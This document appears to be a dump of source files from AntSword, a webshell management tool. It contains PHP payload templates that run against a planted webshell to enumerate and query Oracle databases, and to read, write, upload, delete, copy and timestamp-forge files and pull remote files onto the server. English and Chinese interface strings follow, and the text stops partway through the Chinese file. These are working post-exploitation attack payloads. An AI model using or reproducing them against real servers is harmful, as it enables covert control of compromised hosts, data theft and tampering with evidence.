    "content": "/**\n * 数据库管理模板::oracle\n * i 数据分隔符号 => \\t|\\t\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$H=@Ora_Logon(\"\\${usr}/\\${pwd}@\\${sid}\",\"\");if(!$H){echo(\"ERROR:// Login Failed!\");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,\"SELECT USERNAME FROM ALL_USERS ORDER BY 1\");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$H=@ora_plogon(\"{$usr}@{$sid}\",\"{$pwd}\");if(!$H){echo(\"ERROR:// Login Failed!\");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,\"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)\");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$tab=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$H=@ora_plogon(\"{$usr}@{$sid}\",\"{$pwd}\");if(!$H){echo(\"ERROR:// Login Failed!\");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,\"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID\");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).\" (\".ora_getcolumn($T,1).\")\".chr(9));}}@ora_close($T);};`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$sql=base64_decode($_POST[\"${arg5}\"]);$H=@ora_plogon(\"{$usr}@{$sid}\",\"{$pwd}\");if(!$H){echo(\"ERROR:// Login Failed!\");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,\"{$sql}\");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i).\"\\t|\\t\");}echo(\"\\r\\n\");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo(\"\\t|\\t\");}echo(\"\\r\\n\");}}else{echo(\"ErrMsg\\t|\\t\\r\\n\");}@ora_close($T);};`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{base64::sql}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/filemanager.js",
    "content": "/**\n * 文件管理模板\n */\n\nmodule.exports = (arg1, arg2, arg3) => ({\n  dir: {\n    _:\n      `$D=base64_decode($_POST[\"${arg1}\"]);$F=@opendir($D);if($F==NULL){echo(\"ERROR:// Path Not Found Or No Permission!\");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.\"/\".$N;$T=@date(\"Y-m-d H:i:s\",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=\"\\t\".$T.\"\\t\".@filesize($P).\"\\t\".$E.\"\\n\";if(@is_dir($P))$M.=$N.\"/\".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  delete: {\n    _:\n      `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p.\"/\".$f;if((is_dir($pf))&&($f!=\".\")&&($f!=\"..\")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"]);if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?\"1\":\"0\":\"0\");}`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  create_file: {\n    _:\n      `echo @fwrite(fopen(base64_decode($_POST[\"${arg1}\"]),\"w\"),base64_decode($_POST[\"${arg2}\"]))?\"1\":\"0\";`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::content}\"\n  },\n\n  read_file: {\n    _:\n      `$F=base64_decode($_POST[\"${arg1}\"]);$P=@fopen($F,\"r\");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  copy: {\n    _:\n      `$m=get_magic_quotes_gpc();$fc=base64_decode($m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"]);$fp=base64_decode($m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"]);function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?\"1\":\"0\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::target}\"\n  },\n\n  download_file: {\n    _:\n      `$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"]);$fp=@fopen($F,\"r\");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo(\"ERROR:// Can Not Read\");}`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  upload_file: {\n    _:\n      `$f=base64_decode($_POST[\"${arg1}\"]);$c=$_POST[\"${arg2}\"];$c=str_replace(\"\\r\",\"\",$c);$c=str_replace(\"\\n\",\"\",$c);$buf=\"\";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode(\"%\".substr($c,$i,2));echo(@fwrite(fopen($f,\"a\"),$buf)?\"1\":\"0\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{buffer::content}\"\n  },\n\n  rename: {\n    _:\n      `$m=get_magic_quotes_gpc();$src=base64_decode(m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"]);$dst=base64_decode(m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"]);echo(rename($src,$dst)?\"1\":\"0\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::name}\"\n  },\n\n  retime: {\n    _:\n      `$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"]);$TM=strtotime(base64_decode(m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"]));if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?\"1\":\"0\");}else{echo(\"0\");};`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::time}\"\n  },\n\n  mkdir: {\n    _:\n      `$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"]);echo(mkdir($f)?\"1\":\"0\");`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  wget: {\n    _:\n      `$fR=base64_decode($_POST[\"${arg1}\"]);$fL=base64_decode($_POST[\"${arg2}\"]);$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo(\"1\");}else{echo(\"0\");};`,\n    [arg1]: \"#{base64::url}\",\n    [arg2]: \"#{base64::path}\"\n  }\n})\n"
  },
  {
    "path": "antSword/source/language/en.js",
    "content": "//\n// language::en\n//\nmodule.exports = {\n  toastr: {\n    info: 'Info',\n    error: 'Error',\n    warning: 'Warning',\n    success: 'Success'\n  },\n  menubar: {\n    main: {\n      title: 'AntSword',\n      about: 'About',\n      pluginStore: 'Plugin Store',\n      settings: 'System setting',\n      language: 'Language setting',\n      encoders: 'Encoders manager',\n      aproxy: 'Proxy setting',\n      display: 'Display setting',\n      update: 'Check update',\n      quit: 'Quit'\n    },\n    edit: {\n      title: 'Edit',\n      undo: 'Undo',\n      redo: 'Redo',\n      cut: 'Cut',\n      copy: 'Copy',\n      paste: 'Paste',\n      selectall: 'SelectAll'\n    },\n    window: {\n      title: 'Window',\n      next: 'Next window',\n      prev: 'Prev window',\n      close: 'Close window'\n    },\n    debug: {\n      title: 'Debug',\n      restart: 'Restart APP',\n      devtools: 'Developer Tools'\n    },\n    tray: {\n      tip: 'AntSword',\n      show: 'Show',\n      hide: 'Hide',\n      settings: 'System setting',\n      about: 'About',\n      quit: 'Quit'\n    }\n  },\n  shellmanager: {\n    title: 'ShellManager',\n    contextmenu: {\n      terminal: 'Terminal',\n      filemanager: 'FileManager',\n      database: 'Database',\n      add: 'Add',\n      edit: 'Edit',\n      delete: 'Delete',\n      move: 'Move',\n      search: 'Search',\n      plugin: 'Plugins',\n      pluginDefault: 'Default',\n      pluginStore: 'Plugin Store',\n      clearCache: 'Clear cache',\n      clearAllCache: 'Clear all cache',\n      viewsite: 'View Site'\n    },\n    category: {\n      title: 'Category',\n      default: 'Default',\n      toolbar: {\n        add: 'Add',\n        del: 'Del',\n        rename: 'Rename'\n      },\n      add: {\n        title: 'Add category'\n      },\n      del: {\n        title: 'Delete category',\n        confirm: 'Are you sure to delete this category?',\n        success: (category) => antSword.noxss(`Delete category(${category}) success!`),\n        error: (category, err) => antSword.noxss(`Delete category(${category}failed!\\n${err}`)\n      },\n      rename: {\n        title: 'Rename category',\n        disable: 'Prohibited category name!',\n        exists: 'This category name already exists!',\n        success: 'Successful rename!',\n        error: 'Rename category failed!'\n      }\n    },\n    list: {\n      title: 'Shell Lists',\n      grid: {\n        url: 'URL',\n        ip: 'IP',\n        addr: 'ADDR',\n        note: 'NOTE',\n        ctime: 'CTIME',\n        utime: 'UTIME'\n      },\n      add: {\n        title: 'Add shell',\n        toolbar: {\n          add: 'Add',\n          clear: 'Clear'\n        },\n        form: {\n          url: 'Shell url',\n          pwd: 'Shell pwd',\n          note: 'Note',\n          encode: 'Encode',\n          type: 'Shell type',\n          encoder: 'Encoder'\n        },\n        warning: 'Please enter the full!',\n        success: 'Add shell success!',\n        error: (err) => antSword.noxss(`Add shell failed!\\n${err}`)\n      },\n      edit: {\n        title: (url) => antSword.noxss(`Edit shell(${url})`),\n        toolbar: {\n          save: 'Save',\n          clear: 'Clear'\n        },\n        form: {\n          url: 'Shell url',\n          pwd: 'Shell pwd',\n          note: 'Note',\n          encode: 'Encode',\n          type: 'Shell type',\n          encoder: 'Encoder'\n        },\n        warning: 'Please enter the full!',\n        success: 'Update shell success!',\n        error: (err) => antSword.noxss(`Update shell failed!\\n${err}`)\n      },\n      del: {\n        title: 'Delete shell',\n        confirm: (len) => antSword.noxss(`Are you sure to delete ${len} shells?`),\n        success: (len) => antSword.noxss(`Delete ${len} shells success!`),\n        error: (err) => antSword.noxss(`Delete failed!\\n${err}`)\n      },\n      move: {\n        success: (num) => antSword.noxss(`Move ${num}datas success!`),\n        error: (err) => antSword.noxss(`Move data failed!\\n${err}`)\n      },\n      clearCache: {\n        title: 'Clear cache',\n        confirm: 'Are you sure to clear this cache?',\n        success: 'Clear cache success!',\n        error: (err) => antSword.noxss(`Clear cache failed!\\n${err}`)\n      },\n      clearAllCache: {\n        title: 'Clear all cache',\n        confirm: 'Are you sure to clear all the cache?',\n        success: 'Clear all cache success!',\n        error: (err) => antSword.noxss(`Clear all cache failed!\\n${err}`)\n      },\n      accordion: {\n        base: 'Base',\n        http: 'HTTP',\n        other: 'Other'\n      },\n      otherConf: {\n        nohttps: 'Ignore HTTPS certificate',\n        terminalCache: \"Use the terminal's cache\",\n        filemanagerCache: \"Use the filemanager's cache\",\n        requestTimeout: 'Request timeout',\n        commandPath: 'Custom terminal-execPath'\n      }\n    }\n  },\n  terminal: {\n    title: 'Terminal',\n    banner: {\n      title: 'Infomations',\n      drive: 'Drive   List',\n      system: 'System  Info',\n      user: 'Current User',\n      path: 'Current Path'\n    }\n  },\n  filemanager: {\n    title: 'FileManager',\n    delete: {\n      title: 'Delete',\n      confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' files' : num} ?`),\n      success: (path) => antSword.noxss(`Delete file [${path}] success!`),\n      error: (path, err) => antSword.noxss(`Delete file [${path}] failed!${err ? '\\n' + err : ''}`)\n    },\n    paste: {\n      success: (path) => antSword.noxss(`Paste file success!\\n${path}`),\n      error: (path, err) => antSword.noxss(`Paste file [${path}] failed!${err ? '\\n' + err : ''}`)\n    },\n    rename: {\n      title: 'Rename',\n      success: 'Rename success!',\n      error: (err) => antSword.noxss(`Rename failed!${err ? '\\n' + err : ''}`)\n    },\n    createFolder: {\n      title: 'Create Folder',\n      value: 'New Folder',\n      success: (path) => antSword.noxss(`Create folder success!\\n${path}`),\n      error: (path, err) => antSword.noxss(`Create folder [${path}] failed!${err ? '\\n' + err : ''}`)\n    },\n    createFile: {\n      title: 'Create File',\n      value: 'New File.txt',\n      success: (path) => antSword.noxss(`Create file success!\\n${path}`),\n      error: (path, err) => antSword.noxss(`Create file [${path}] failed!${err ? '\\n' + err : ''}`)\n    },\n    retime: {\n      title: 'Retime File',\n      success: (path) => antSword.noxss(`Retime file success!\\n${path}`),\n      error: (path, err) => antSword.noxss(`Retime file [${path}] failed!${err ? '\\n' + err : ''}`)\n    },\n    wget: {\n      title: 'Wget File',\n      check: 'URL is not correct!',\n      task: {\n        name: 'WGET',\n        start: 'Start to wget file..',\n        success: 'Wget success!',\n        failed: (ret) => antSword.noxss(`Failed:${ret}`),\n        error: (err) => antSword.noxss(`Error:${err}`)\n      }\n    },\n    upload: {\n      task: {\n        name: 'Upload',\n        success: 'Upload success!',\n        failed: (err) => antSword.noxss(`Failed:${err}`),\n        error: (err) => antSword.noxss(`Error:${err}`)\n      },\n      success: (path) => antSword.noxss(`Upload file success!\\n${path}`),\n      error: (path, err) => antSword.noxss(`Upload file [${path}] failed!${err}`),\n    },\n    folder: {\n      title: 'Folders'\n    },\n    files: {\n      title: 'Files',\n      bookmark: {\n        add: 'Add bookmark',\n        del: 'Remove this bookmark',\n        clear: 'Clear all bookmarks'\n      },\n      toolbar: {\n        new: 'New',\n        folder: 'Folder',\n        file: 'File',\n        wget: 'Wget File',\n        upload: 'Upload File',\n        up: 'UP',\n        refresh: 'Refresh',\n        home: 'Home',\n        bookmark: 'Bookmark',\n        read: 'Read'\n      },\n      prompt: {\n        add: {\n          title: 'Add to bookmark',\n          success: (path) => antSword.noxss(`Add to bookmark success!\\n${path}`),\n        },\n        remove: {\n          title: 'Remove bookmark',\n          confirm: 'Remove this bookmark ?',\n          success: 'Remove bookmark success!'\n        },\n        clear: {\n          title: 'Clear all bookmarks',\n          confirm: 'Clear all bookmarks ?',\n          success: 'Clear all bookmark success!'\n        }\n      },\n      grid: {\n        header: {\n          name: 'Name',\n          time: 'Time',\n          size: 'Size',\n          attr: 'Attr'\n        },\n        contextmenu: {\n          paste: {\n            title: 'Paste',\n            all: 'All items',\n            clear: {\n              title: 'Clear items',\n              info: 'Clear all Clipboard.'\n            }\n          },\n          preview: 'Preview',\n          edit: 'Edit',\n          delete: 'Delete',\n          rename: 'Rename',\n          refresh: 'Refresh',\n          wget: 'WGET',\n          upload: 'Upload',\n          download: 'Download',\n          modify: 'Modify the file time',\n          copy: {\n            title: 'Copy',\n            warning: (id) => antSword.noxss(`Already add to clipboard!\\n${id}`),\n            info: (id) => antSword.noxss(`Add file to the clipboard.\\n${id}`)\n          },\n          create: {\n            title: 'Create',\n            folder: 'Folder',\n            file: 'File'\n          }\n        }\n      }\n    },\n    editor: {\n      title: (path) => antSword.noxss(`Edit: ${path}`),\n      toolbar: {\n        save: 'Save',\n        mode: 'Mode',\n        encode: 'Encode'\n      },\n      loadErr: (err) => antSword.noxss(`Load file error!\\n${err}`),\n      success: (path) => antSword.noxss(`Save the file success!\\n${path}`),\n      error: (path, err) => antSword.noxss(`Save the file [${path}] failed!${err}`)\n    },\n    tasks: {\n      title: 'Tasks',\n      grid: {\n        header: {\n          name: 'Name',\n          desc: 'Description',\n          status: 'Status',\n          stime: 'StartTime',\n          etime: 'EndTime'\n        }\n      }\n    },\n    download: {\n      title: 'Download File',\n      task: {\n        name: 'Download',\n        wait: 'Wait to download',\n        cancel: 'Cancel download',\n        start: 'Start to download',\n        success: 'Download success!',\n        error: (err) => antSword.noxss(`Error:${err}`)\n      },\n      error: (name, err) => antSword.noxss(`Download file [${name}]error!\\n${err}`),\n      success: (name) => antSword.noxss(`Download file [${name}] success!`)\n    }\n  },\n  database: {\n    list: {\n      title: 'Config list',\n      add: 'Add',\n      del: 'Del',\n      edit: 'Edit',\n      menu: {\n        add: 'Add conf',\n        del: 'Del conf',\n        edit: 'Edit conf'\n      }\n    },\n    query: {\n      title: 'Exec SQL',\n      exec: 'Run',\n      clear: 'Clear'\n    },\n    result: {\n      title: 'Result',\n      warning: 'Execution is completed, but no results return!',\n      error: {\n        database: (err) => antSword.noxss(`Failed to obtain a list of databases!\\n${err}`),\n        table: (err) => antSword.noxss(`Get table data failed!\\n${err}`),\n        column: (err) => antSword.noxss(`Failed to obtain field list!\\n${err}`),\n        query: (err) => antSword.noxss(`Failure to execute SQL!\\n${err}`),\n        parse: 'Return data format is incorrect!',\n        noresult: 'No query results!'\n      }\n    },\n    form: {\n      title: 'Add conf',\n      toolbar: {\n        add: 'Add',\n        clear: 'Clear',\n        edit: 'Edit'\n      },\n      conn: 'Connection String',\n      type: 'Database type',\n      encode: 'Database encode',\n      host: 'Host',\n      user: 'User',\n      passwd: 'Password',\n      warning: 'Please fill in the complete!',\n      success: 'Successful add configuration!',\n      del: {\n        title: 'Delete configuration',\n        confirm: 'Determine delete this configuration?',\n        success: 'Delete configuration success!',\n        error: (err) => antSword.noxss(`Delete configuration failed!\\n${err}`)\n      }\n    }\n  },\n  settings: {\n    about: {\n      title: 'About',\n      header: 'AntSword',\n      homepage: 'Home',\n      document: 'Document',\n      qqgroup: 'QQ Group'\n    },\n    language: {\n      title: 'Language setting',\n      toolbar: {\n        save: 'Save'\n      },\n      form: {\n        label: 'Select language'\n      },\n      success: 'Setting language success!',\n      confirm: {\n        content: 'Restart the application?',\n        title: 'Setting language'\n      }\n    },\n    update: {\n      title: 'Check update',\n      current: 'Current version',\n      toolbar: {\n        check: 'Check'\n      },\n      check: {\n        ing: 'Check for updates..',\n        fail: (err) => `Check for update failed!\\n${err}`,\n        none: (ver) => `After examination, no update![v${ver}]`,\n        found: (ver) => `Found a new version [v${ver}]`\n      },\n      prompt: {\n        btns: {\n          ok: 'Update',\n          no: 'Cancel'\n        },\n        body: (ver) => `Found new version v${ver}, update now?`,\n        title: 'Update to version',\n        changelog: 'Change Logs: ',\n        sources: 'Download source: ',\n        fail: {\n          md5: 'File MD5 value check failed!',\n          unzip: (err) => `Unzip the file failed! [${err}]`\n        }\n      },\n      message: {\n        prepare: \"Connecte to server...\",\n        dling: (progress)=> `Downloading...${progress}%`,\n        dlend: \"Download completed\",\n        extract: \"Unpacking, don't close AntSword\",\n        ing: 'Downloading..',\n        fail: (err) => `Update failed! [${err}]`,\n        success: 'Update success! Please manually restart the application later!'\n      }\n    },\n    encoders:{\n      title: 'Encoder Manager',\n      toolbar: {\n        new: \"New\",\n        edit: \"Edit\",\n        delete: \"Delete\",\n        help: \"Help\",\n        save: \"Save\",\n      },\n      grid: {\n        ename: \"Name\",\n        etype: \"Type\"\n      },\n      edit_win_title: \"Edit Encoder\",\n      delete_title: \"Delete Encoder\",\n      message: {\n        ename_duplicate: \"The encoder name cannot be duplicated\",\n        rename_success: \"Rename success\",\n        etype_error: \"Encoder type error\",\n        retype_success: \"Modify type success\",\n        create_success: \"Create encoder success\",\n        edit_not_select: \"Please select the row you want to edit first\",\n        edit_only_single: \"You can only edit one\",\n        edit_null_value: \"Encoder content can not be empty\",\n        edit_save_success: \"Save success\",\n        delete_not_select: \"Please select the row you want to delete first\",\n        delete_success: \"Delete success\",\n        ename_invalid: \"Name can only contain numbers, letters, and underlines\",\n      },\n      prompt: {\n        create_encoder: \"Create Encoder\",\n      },\n      confirm: {\n        delete: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' encoders' : num}?`),\n      }\n    },\n    aproxy: {\n      title: 'Proxy setting',\n      toolbar: {\n        save: 'Save',\n        test: 'Test connect'\n      },\n      form: {\n        label: 'Configure proxy for access to the Internet',\n        mode:{\n          noproxy: 'Do not use agent',\n          manualproxy: 'Manually set the proxy'\n        },\n        proxy: {\n          protocol: 'Agency agreement',\n          server: 'Proxy server',\n          port: 'Port',\n          username: 'AuthUser',\n          password: 'Password',\n          authtip: 'If there is no authentication if'\n        }\n      },\n      success: 'Save proxy settings successfully!',\n      error: 'Failed to save the proxy settings!',\n      confirm: {\n        content: 'Restart the application to take effect, whether to restart?',\n        title: 'Change proxy settings'\n      },\n      prompt:{\n        title: 'Enter the Test-URL',\n        success: 'Connect to proxy server successfully',\n        error: 'Failed to connect to the proxy server'\n      }\n    },\n    display: {\n      title: 'Display setting',\n      success: 'Save display settings successfully!',\n      error: 'Failed to save the display settings!',\n      confirm: {\n        content: 'Restart the application to take effect, whether to restart?',\n        title: 'Change display settings'\n      },\n      toolbar: {\n        save: 'Save'\n      },\n      form:{\n        shellmanager: {\n          title: 'Shell Lists',\n          hiddencolumns: {\n            title: 'Hide selected columns',\n            url: 'URL',\n            ip: 'IP',\n            addr: 'ADDR',\n            note: 'NOTE',\n            ctime: 'CTIME',\n            utime: 'UTIME'\n          }\n        }\n      }\n    }\n  },\n  plugin: {\n    error: (err) => antSword.noxss(`Load Plugin Store failed!\\n${err}`)\n  },\n  update: {\n    title: 'Found updates',\n    body: (ver) => `New version: ${ver}, view changelog`,\n\n  },\n  viewsite: {\n    toolbar: {\n      save: 'Save',\n      view: 'View'\n    },\n    saveSuccess: 'Save cookie configuration is successful!',\n    saveFailed: (err) => `Save cookie configuration failed!\\n${err}`\n  }\n}\n"
  },
  {
    "path": "antSword/source/language/index.js",
    "content": "/**\n * 中国蚁剑::语言模板\n */\n'use strict';\n\nconst languages = {\n  'en': 'English',\n  'zh': '简体中文'\n}\n\n// 获取本地设置语言（如若没有，则获取浏览器语言\nlet lang = antSword['storage']('language',\n  false,\n  navigator.language.substr(0,2)\n);\n\n// 判断本地设置语言是否符合语言模板\nlang = languages[lang] ? lang : 'en';\n\n// 返回语言模板\nlet langModule = require(`./${lang}`);\nlangModule.__languages__ = languages;\n\nmodule.exports = langModule;\n"
  },
  {
    "path": "antSword/source/language/zh.js",
    "content": "//\n// language::zh\n//\nmodule.exports = {\n  title: '中国蚁剑',\n  toastr: {\n    info: '提示',\n    error: '错误',\n    warning: '警告',\n    success: '成功'\n  },\n  menubar: {\n    main: {\n      title: 'AntSword',\n      about: '关于程序',\n      pluginStore: '插件市场',\n      settings: '系统设置',\n      language: '语言设置',\n      encoders: '编码设置',\n      aproxy: '代理设置',\n      display: '显示设置',\n      update: '检查更新',\n      quit: '退出程序'\n    },\n    edit: {\n      title: '编辑',\n      undo: '撤销',\n      redo: '重做',\n      cut: '剪切',\n      copy: '复制',\n      paste: '粘贴',\n      selectall: '全选'\n    },\n    window: {\n      title: '窗口',\n      next: '下个窗口',\n      prev: '上个窗口',\n      close: '关闭窗口'\n    },\n    debug: {\n      title: '调试',\n      restart: '重启应用',\n      devtools: '开发者工具'\n    },\n    tray: {\n      tip: '中国蚁剑',\n      show: '显示',\n      hide: '隐藏',\n      settings: '系统设置',\n      about: '关于蚁剑',\n      quit: '退出'\n    }\n  },\n  shellmanager: {\n    title: '列表管理',\n    contextmenu: {\n      terminal: '虚拟终端',\n      filemanager: '文件管理',\n      database: '数据操作',\n      add: '添加数据',\n      edit: '编辑数据',\n      delete: '删除数据',\n      move: '移动数据',\n      search: '搜索数据',\n      plugin: '加载插件',\n      pluginDefault: '默认分类',\n      pluginStore: '插件市场',\n      clearCache: '清空缓存',\n      clearAllCache: '清空所有缓存',\n      viewsite: '浏览网站'\n    },\n    category: {\n      title: '分类目录',\n      default: '默认分类',\n      toolbar: {\n        add: '添加',\n        del: '删除',\n        rename: '重命名'\n      },\n      add: {\n        title: '添加分类'\n      },\n      del: {\n        title: '删除分类',\n        confirm: '确定删除此分类吗？（数据将清空）',\n        success: (category) => antSword.noxss(`成功删除分类（${category}）！`),\n        error: (category, err) => antSword.noxss(`删除分类（${category}）失败！\\n${err}`)\n      },\n      rename: {\n        title: '重命名分类',\n        disable: '禁止的分类名称！',\n        exists: '此分类名已经存在！',\n        success: '重命名分类成功！',\n        error: '重命名分类失败！'\n      }\n    },\n    list: {\n      title: '数据管理',\n      grid: {\n        url: 'URL地址',\n        ip: 'IP地址',\n        addr: '物理位置',\n        note: '网站备注',\n        ctime: '创建时间',\n        utime: '更新时间'\n      },\n      add: {\n        title: '添加数据',\n        toolbar: {\n          add: '添加',\n          clear: '清空'\n        },\n        form: {\n          url: 'URL地址',\n          pwd: '连接密码',\n          note: '网站备注',\n          encode: '编码设置',\n          type: '连接类型',\n          encoder: '编码器'\n        },\n        warning: '请输入完整！',\n        success: '添加数据成功！',\n        error: (err) => antSword.noxss(`添加数据失败！\\n${err}`)\n      },\n      edit: {\n        title: (url) => antSword.noxss(`编辑数据（${url}）`),\n        toolbar: {\n          save: '保存',\n          clear: '清空'\n        },\n        form: {\n          url: 'URL地址',\n          pwd: '连接密码',\n          note: '网站备注',\n          encode: '编码设置',\n          type: '连接类型',\n          encoder: '编码器'\n        },\n        warning: '请输入完整！',\n        success: '更新数据成功！',\n        error: (err) => antSword.noxss(`更新数据失败！\\n${err}`)\n      },\n      del: {\n        title: '删除数据',\n        confirm: (len) => antSword.noxss(`确定删除选中的${len}条数据吗？`),\n        success: (len) => antSword.noxss(`成功删除${len}条数据！`),\n        error: (err) => antSword.noxss(`删除失败！\\n${err}`)\n      },\n      move: {\n        success: (num) => antSword.noxss(`成功移动${num}条数据！`),\n        error: (err) => antSword.noxss(`移动数据失败！\\n${err}`)\n      },\n      clearCache: {\n        title: '清空缓存',\n        confirm: '确定清空此缓存吗？',\n        success: '清空缓存完毕！',\n        error: (err) => antSword.noxss(`清空缓存失败！\\n${err}`)\n      },\n      clearAllCache: {\n        title: '清空缓存',\n        confirm: '确定清空所有缓存数据吗？',\n        success: '清空全部缓存完毕！',\n        error: (err) => antSword.noxss(`清空全部缓存失败！\\n${err}`)\n      },\n      accordion: {\n        base: '基础配置',\n        http: '请求信息',\n        other: '其他设置'\n      },\n      otherConf: {\n        nohttps: '忽略HTTPS证书',\n        terminalCache: '虚拟终端使用缓存',\n        filemanagerCache: '文件管理使用缓存',\n        requestTimeout: '请求超时',\n        commandPath: '自定义终端执行路径'\n      }\n    }\n  },\n  terminal: {\n    title: '虚拟终端',\n    banner: {\n      title: '基础信息',\n      drive: '磁盘列表',\n      system: '系统信息',\n      user: '当前用户',\n      path: '当前路径'\n    }\n  },\n  filemanager: {\n    title: '文件管理',\n    delete: {\n      title: '删除文件',\n      confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个文件' : num} 吗？`),\n      success: (path) => antSword.noxss(`删除文件成功！\\n${path}`),\n      error: (path, err) => antSword.noxss(`删除文件 [${path}] 失败！${err ? '\\n' + err : ''}`)\n    },\n    paste: {\n      success: (path) => antSword.noxss(`粘贴文件成功！\\n${path}`),\n      error: (path, err) => antSword.noxss(`粘贴文件 [${path}] 失败！${err ? '\\n' + err : ''}`)\n    },\n    rename: {\n      title: '重命名',\n      success: '重命名文件成功！',\n      error: (err) => antSword.noxss(`重命名文件失败！${err ? '\\n' + err : ''}`)\n    },\n    createFolder: {\n      title: '新建目录',\n      value: '新目录',\n      success: (path) => antSword.noxss(`新建目录成功！\\n${path}`),\n      error: (path, err) 